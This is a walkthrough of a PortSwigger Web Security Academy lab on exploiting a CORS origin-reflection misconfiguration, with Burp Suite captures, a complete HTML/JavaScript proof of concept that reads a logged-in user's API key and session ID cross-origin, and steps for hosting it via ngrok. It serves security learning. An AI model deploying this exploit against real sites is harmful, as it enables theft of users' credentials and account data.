Exploiting CORS vulnerability with basic origin reflection

Exploiting CORS vulnerability with basic origin reflection

Exploiting CORS Misconfigurations

Introduction

During a recent security assessment, I discovered a CORS (Cross-Origin Resource Sharing) misconfiguration that allowed complete bypass of the Same-Origin Policy. This vulnerability enabled an attacker to steal sensitive user information including API keys, email addresses, and session tokens from authenticated users.

In this guide, I’ll walk you through the complete exploitation process using PortSwigger’s Web Security Academy lab as a practical example.

Lab: CORS vulnerability with basic origin reflection


Table of Contents

  1. Understanding CORS
  2. Discovery with Burp Suite
  3. Identifying the Vulnerability
  4. Building the Exploit
  5. Testing

Understanding CORS

What is CORS?

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls how web pages from one origin can access resources from another origin. By default, browsers enforce the Same-Origin Policy (SOP), which blocks cross-origin requests.

Example scenario: Website A: https://legitimate-site.com Website B: https://attacker-site.com Without CORS, if a user visits Website B, JavaScript on that page cannot read data from Website A (blocked by Same-Origin Policy). With CORS misconfiguration, Website B can bypass this protection.

How CORS Works

When JavaScript makes a cross-origin request:

fetch('https://api.example.com/user/data', {
    credentials: 'include'  // Send cookies
})

The server responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Credentials: true

The browser checks:

Does Access-Control-Allow-Origin match the requesting origin? If yes, allow JavaScript to read the response If no, block access

The Vulnerability

A CORS misconfiguration occurs when the server dynamically reflects the Origin header:

Request:
  Origin: https://evil.com

Response:
  Access-Control-Allow-Origin: https://evil.com           ← REFLECTED!
  Access-Control-Allow-Credentials: true                  ← ALLOWS COOKIES!

This combination is critical because:

  1. Any origin becomes “trusted”
  2. Authenticated requests are possible (cookies sent)
  3. Private data can be read by attacker’s JavaScript

Discovery with Burp Suite

For this walkthrough, I’ll use PortSwigger’s Web Security Academy https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack - as the lab only request to upload the PoC onto their server I have decided to dig deeper to understand better the exploitation mechanism behind it. And I proved that this worked also on ngrok instances.

Step 1: Configure Burp Suite

Start Burp Suite and ensure Proxy is listening on 127.0.0.1:8080 Configure your browser to use Burp as proxy Turn off Intercept (Proxy → Intercept → Intercept is off)

Step 2: Capture Normal Traffic

Navigate to the lab and click “My account” Log in with the provided credentials Access your account page - you should see your API key displayed Switch to Burp Suite → Proxy → HTTP history

Step 3: Identify the API Endpoint

Look through the HTTP history for AJAX requests. You’ll find:

ET /accountDetails HTTP/2
Host: 0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net
Cookie: session=WRBRHjZi4XECoH7sK8975BtpftkGyU3u
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: en-US,en;q=0.5

Response:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8

{
  "username": "wiener",
  "email": "",
  "apikey": "jwgIRSHi8lyHdGx2IpEL0ObfpUJXsYPY",
  "sessions": [
    "WRBRHjZi4XECoH7sK8975BtpftkGyU3u"
  ]
}

Identifying the Vulnerability

Step 4: Send to Repeater

  1. Right-click on the /accountDetails request
  2. Select “Send to Repeater”
  3. Navigate to the Repeater tab

Step 5: Add Origin Header

In Repeater, add an Origin header with a test domain:

alt

GET /accountDetails HTTP/2
Host: 0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net
Cookie: session=eNilmrP9HTjaCRjcZ1ClkiCDV3xlQoyk
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://arabinosic-edra-overplainly.ngrok-free.dev
Referer: https://arabinosic-edra-overplainly.ngrok-free.dev/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers

Click “Send”

Step 6: Analyze the Response

HTTP/2 200 OK
Access-Control-Allow-Origin: https://arabinosic-edra-overplainly.ngrok-free.dev
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 189

{
  "username": "wiener",
  "email": "",
  "apikey": "jwgIRSHi8lyHdGx2IpEL0ObfpUJXsYPY",
  "sessions": [
    "rzTUoGayHd1jzNCFXxcol8ysy83pL0c9",
    "eNilmrP9HTjaCRjcZ1ClkiCDV3xlQoyk"
  ]
}

The vulnerability is confirmed!!!

Building the exploit!

Understanding the Attack Flow

  1. Victim is logged into target.web-security-academy.net ↓
  2. Victim visits attacker’s website (evil-site.com) ↓
  3. Attacker’s JavaScript executes in victim’s browser ↓
  4. JavaScript makes request to target.web-security-academy.net ↓
  5. Browser automatically sends victim’s session cookie ↓
  6. Server returns victim’s private data + CORS headers ↓
  7. Attacker’s JavaScript reads the response (CORS allows it) ↓
  8. Data is exfiltrated to attacker’s server ↓
  9. Attacker has stolen: API key, session, email, etc.

Step 7: Create basic exploit

Create a file poc_cors.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CORS Exploit - PortSwigger Lab</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 900px;
            margin: 50px auto;
            padding: 20px;
            background: #f5f5f5;
        }
        .container {
            background: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        h1 { color: #d9534f; }
        .status {
            font-size: 20px;
            font-weight: bold;
            margin: 20px 0;
            padding: 15px;
            border-radius: 5px;
        }
        .success {
            background: #dff0d8;
            color: #3c763d;
            border: 1px solid #d6e9c6;
        }
        .error {
            background: #f2dede;
            color: #a94442;
            border: 1px solid #ebccd1;
        }
        .loading {
            background: #d9edf7;
            color: #31708f;
            border: 1px solid #bce8f1;
        }
        pre {
            background: #2d2d2d;
            color: #f8f8f2;
            padding: 20px;
            border-radius: 5px;
            overflow: auto;
            font-size: 14px;
            line-height: 1.6;
        }
        .highlight {
            background: #fff3cd;
            padding: 15px;
            border-left: 4px solid #ffc107;
            margin: 20px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🔓 CORS Vulnerability PoC</h1>
        
        <div id="status" class="status loading">
            ⏳ Sending malicious cross-origin request...
        </div>

        <div class="highlight">
            <strong>Attack Details:</strong><br>
            <strong>Attacker Origin:</strong> <span id="origin"></span><br>
            <strong>Target:</strong> https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/accountDetails<br>
            <strong>Method:</strong> Authenticated cross-origin GET request
        </div>

        <h2>📦 Stolen Data:</h2>
        <pre id="result">Waiting for response...</pre>

        <h2>🔍 Proof of Exploitation:</h2>
        <pre id="proof">Checking CORS headers...</pre>
    </div>

    <script>
        // Display attacker's origin
        document.getElementById('origin').textContent = window.location.origin;
        
        console.log("🎯 CORS Exploit Started");
        console.log("Attacker Origin:", window.location.origin);
        
        var req = new XMLHttpRequest();
        
        req.onreadystatechange = function() {
            if (req.readyState === XMLHttpRequest.DONE) {
                console.log("📡 Response received. Status:", req.status);
                
                if (req.status === 200) {
                    // SUCCESS!
                    document.getElementById('status').className = 'status success';
                    document.getElementById('status').innerHTML = 
                        '✅ <strong>EXPLOIT SUCCESSFUL!</strong> CORS misconfiguration exploited.';
                    
                    try {
                        var data = JSON.parse(req.responseText);
                        
                        // Display stolen data prominently
                        document.getElementById('result').innerHTML = 
                            '<strong style="color: #d9534f;">🚨 SENSITIVE DATA STOLEN VIA CORS VULNERABILITY:</strong>\n\n' +
                            '🔑 <strong>API Key:</strong> ' + data.apikey + '\n' +
                            '👤 <strong>Username:</strong> ' + data.username + '\n' +
                            '📧 <strong>Email:</strong> ' + (data.email || '(empty)') + '\n' +
                            '🍪 <strong>Session ID:</strong> ' + data.sessions[0] + '\n\n' +
                            '<strong>Full JSON Response:</strong>\n' +
                            JSON.stringify(data, null, 2);
                        
                        // Show proof of CORS misconfiguration
                        document.getElementById('proof').innerHTML = 
                            '<strong style="color: #5cb85c;">✅ CORS Misconfiguration Confirmed:</strong>\n\n' +
                            'The server responded with:\n' +
                            '• Status: 200 OK\n' +
                            '• Access-Control-Allow-Origin: ' + window.location.origin + ' (reflected!)\n' +
                            '• Access-Control-Allow-Credentials: true\n\n' +
                            'This combination allows ANY origin to:\n' +
                            '✓ Make authenticated requests\n' +
                            '✓ Read sensitive response data\n' +
                            '✓ Steal user information\n\n' +
                            '<strong>Impact:</strong> Complete bypass of Same-Origin Policy';
                        
                        console.log("🎉 SUCCESS - API Key stolen:", data.apikey);
                        console.log("Full stolen data:", data);
                        
                        // In real attack, this data would be exfiltrated
                        console.log("📤 In real attack, data would be sent to attacker server");
                        
                    } catch(e) {
                        document.getElementById('result').textContent = 
                            'Raw response:\n' + req.responseText;
                    }
                    
                } else if (req.status === 401) {
                    // Not logged in
                    document.getElementById('status').className = 'status error';
                    document.getElementById('status').innerHTML = 
                        '❌ <strong>Authentication Required (401 Unauthorized)</strong>';
                    
                    document.getElementById('result').innerHTML = 
                        '<strong style="color: #d9534f;">Exploitation Failed - Victim Not Authenticated</strong>\n\n' +
                        'The target user is not logged into the application.\n\n' +
                        '<strong>To test this exploit:</strong>\n' +
                        '1. Open a new tab in the SAME browser\n' +
                        '2. Go to: https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/login\n' +
                        '3. Log in with:\n' +
                        '   Username: wiener\n' +
                        '   Password: peter\n' +
                        '4. Keep that tab open\n' +
                        '5. Reload THIS page\n\n' +
                        'The exploit should then succeed.';
                    
                    document.getElementById('proof').textContent = 
                        'Status Code: 401 Unauthorized\n' +
                        'Reason: No valid session cookie\n\n' +
                        'Note: The CORS misconfiguration still exists,\n' +
                        'but requires an authenticated victim to exploit.';
                    
                    console.error("❌ 401 Unauthorized - victim not logged in");
                    
                } else if (req.status === 0) {
                    // CORS blocked or network error
                    document.getElementById('status').className = 'status error';
                    document.getElementById('status').innerHTML = 
                        '❌ <strong>Request Blocked or Failed</strong>';
                    
                    document.getElementById('result').innerHTML = 
                        '<strong>Possible Causes:</strong>\n' +
                        '• Victim not logged in (most likely)\n' +
                        '• Network connectivity issue\n' +
                        '• CORS vulnerability has been fixed\n\n' +
                        'Check the browser console (F12) for more details.';
                    
                    console.error("❌ Status 0 - Request blocked or failed");
                    
                } else {
                    // Other error
                    document.getElementById('status').className = 'status error';
                    document.getElementById('status').innerHTML = 
                        '❌ <strong>Error: ' + req.status + ' ' + req.statusText + '</strong>';
                    
                    document.getElementById('result').textContent = 
                        'Unexpected error occurred.\n' +
                        'Status: ' + req.status + '\n' +
                        'Status Text: ' + req.statusText;
                    
                    console.error("❌ Error:", req.status, req.statusText);
                }
            }
        };
        
        // Make the malicious request
        req.open('GET', 'https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/accountDetails', true);
        req.withCredentials = true;  // Include cookies
        req.send();
        
        console.log("📤 Malicious cross-origin request sent with credentials");
    </script>
</body>
</html>

Testing

Step 8: Set Up Local Test Environment

Start a web server:

# Create project directory
mkdir cors-exploit-demo
cd cors-exploit-demo

# Save the exploit as cors_exploit.html

# Start Python web server
python3 -m http.server 8000
# In a new terminal, start ngrok
ngrok http 8000

Ngrok will provide you with a public URL like:                                                                                                                                                                            (Ctrl+C to quit)
                                                                                                                                                                                                 
🐋 Create instant endpoints for local containers within Docker Desktop → https://ngrok.com/r/docker                                                                                              
                                                                                                                                                                                                 
Session Status                online                                                                                                                                                             
Account                       example@gmail.com (Plan: Free)                                                                                                                    
Version                       3.30.0                                                                                                                                                             
Region                        Europe (eu)                                                                                                                                                        
Latency                       39ms                                                                                                                                                               
Web Interface                 http://127.0.0.1:4040                                                                                                                                              
Forwarding                    https://arabinosic-edra-overplainly.ngrok-free.dev -> http://localhost:8000                                                                                        
                                                                                                                                                                                                 
Connections                   ttl     opn     rt1     rt5     p50     p90                                                                                                                        
                              0       0       0.00    0.00    0.00    0.00        

Step 9: Test the Exploit

Important: Use a fresh incognito/private window to avoid cookie conflicts! Terminal setup:

Terminal 1: Python server running on port 8000
Browser: Incognito window with 2 tabs

Tab 1 - Log into the lab:

1. Open: https://0a9100ff03dc089a80b21c1000c600d7.web-security-academy.net/login
2. Login: wiener / peter
3. Verify you see "Your email is..."
4. Keep this tab open!

Tab 2 - Run the exploit (same incognito window):

1. Open: https://whatever-edra-overplainly.ngrok-free.dev/poc_cors.html
2. Watch the exploit execute
3. See the stolen data displayed

alt

comments powered by Disqus